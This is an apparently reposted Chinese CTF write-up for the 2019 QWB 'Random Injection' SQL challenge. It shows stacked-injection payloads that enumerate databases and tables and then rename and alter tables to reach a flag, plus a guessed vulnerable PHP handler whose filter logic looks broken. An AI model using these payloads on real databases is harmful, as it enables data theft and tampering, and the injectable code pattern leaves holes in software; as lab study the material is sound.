[強網杯 2019] 隨便注


wp

  1. 打開靶機,隨便提交,發現似乎是把 PHP 查詢的原始結果之間返回了

  2. 輸入 select 發現了過濾語句,過濾了 select,update,delete,drop,insert,where 和 .

    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

  3. 測試一下有沒有注入。?inject=1'%23,返回正常,字符型注入

  4. 過濾了這么多關鍵詞,嘗試堆疊注入。?inject=1';show databases;%23,看到了所有的數據庫

  5. 再看一下所有的表。?inject=1';show tables;%23,1919810931114514 表和 words 表

  6. flag 在全數字的表里,默認查詢的是 words 表

   ?inject=1';show columns from `1919810931114514`;%23
   ?inject=1';show columns from `words`;%23

  1. 既然沒過濾 alert 和 rename,那就可以把表和列改名。先把 words 改為 words1,再把數字表改為 words,然后把新的 words 表里的 flag 列改為 id ,這樣就可以直接查詢 flag 了

  2. 構造 payload 如下

    /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
    
  3. 使用 /?inject=1' or '1'='1 訪問一下即可獲得 flag

個人總結

  1. MySQL中反引號和單引號的區別與用法

    1. MySql 中用一對反引號來標注 SQL 語句中的標識,如數據庫名、表名、字段名
    2. 引號則用來標注語句中所引用的字符型常量或日期/時間型常量,即字段值
    3. 例如:select * from `username` where `name`="peri0d"
  2. PHP 代碼推測,這里只是一個大概的流程,和實際可能有出入。參照 sqli-labs 里的代碼

    <?php
    function waf($inject){
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    	die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
    }
    
    if(isset($_GET['inject'])){
    	$id = $_GET['inject'];
    	waf($id);
    	
    	$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
    	$sql = "select * from `words` where id = '$id';";
    	
    	/* execute multi query */
    	if (mysqli_multi_query($con1, $sql)){
    		/* store first result set */
    		$result = mysqli_multi_query($con1);
    		if ($result)
    		{
    			if($row = mysqli_fetch_row($result))
    			{
    			  var_dump($row);
    			}
    		
    		}
    		/* print divider */
    		if (mysqli_more_results($con1))
    		{
    			echo "<hr>";
    		}
    	}
    	mysqli_close($con1);
    }
    
    ?>
    
  3. MySQL 的 show、rename 和 alter 命令

    1. show 可以用於查看當前數據庫,當前表,以及表中的字段
    2. rename 用於修改 table 的名稱
    3. alter 用於修改表中字段的屬性
  4. 攻擊思路:默認查詢 words 表,可以將數字表的名稱改成 words,這樣就可以 使用 or '1'='1 直接查詢 flag 了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM